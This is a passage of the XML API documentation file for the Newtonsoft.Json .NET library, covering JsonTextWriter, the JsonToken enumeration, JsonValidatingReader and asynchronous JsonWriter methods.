cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteCommentAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of an array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndConstructorAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a constructor.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRawValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.ArrayPool\">\n            <summary>\n            Gets or sets the writer's character array pool.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\">\n            <summary>\n            Gets or sets how many <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/>s to write for each level in the hierarchy when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteChar\">\n            <summary>\n            Gets or sets which character to use to quote attribute values.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\">\n            <summary>\n            Gets or sets which character to use for indenting when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteName\">\n            <summary>\n            Gets or sets a value indicating whether object names will be surrounded with quotes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.#ctor(System.IO.TextWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/> class using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.TextWriter\"/> and also flushes the underlying <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextWriter\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text. \n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonToken\">\n            <summary>\n            Specifies the type of JSON token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.None\">\n            <summary>\n            This is returned by the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> if a read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartObject\">\n            <summary>\n            An object start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartArray\">\n            <summary>\n            An array start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartConstructor\">\n            <summary>\n            A constructor start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.PropertyName\">\n            <summary>\n            An object property name.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Raw\">\n            <summary>\n            Raw JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Integer\">\n            <summary>\n            An integer.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Float\">\n            <summary>\n            A float.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.String\">\n            <summary>\n            A string.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Boolean\">\n            <summary>\n            A boolean.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Null\">\n            <summary>\n            A null token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Undefined\">\n            <summary>\n            An undefined token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndObject\">\n            <summary>\n            An object end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndArray\">\n            <summary>\n            An array end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndConstructor\">\n            <summary>\n            A constructor end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Date\">\n            <summary>\n            A Date.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Bytes\">\n            <summary>\n            Byte data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonValidatingReader\">\n            <summary>\n            <para>\n            Represents a reader that provides <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> validation.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonValidatingReader.ValidationEventHandler\">\n            <summary>\n            Sets an event handler for receiving schema validation errors.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.#ctor(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/> class that\n            validates the content returned from the given <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from while validating.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Schema\">\n            <summary>\n            Gets or sets the schema.\n            </summary>\n            <value>The schema.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Reader\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> used to construct this <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/>.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> specified in the constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.CloseAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.FlushAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes indent characters.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiterAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the JSON value delimiter.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpaceAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an indent space.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of the current JSON object or array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of an array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructorAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a constructor.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a JSON object.\n            </summary>\n            <param 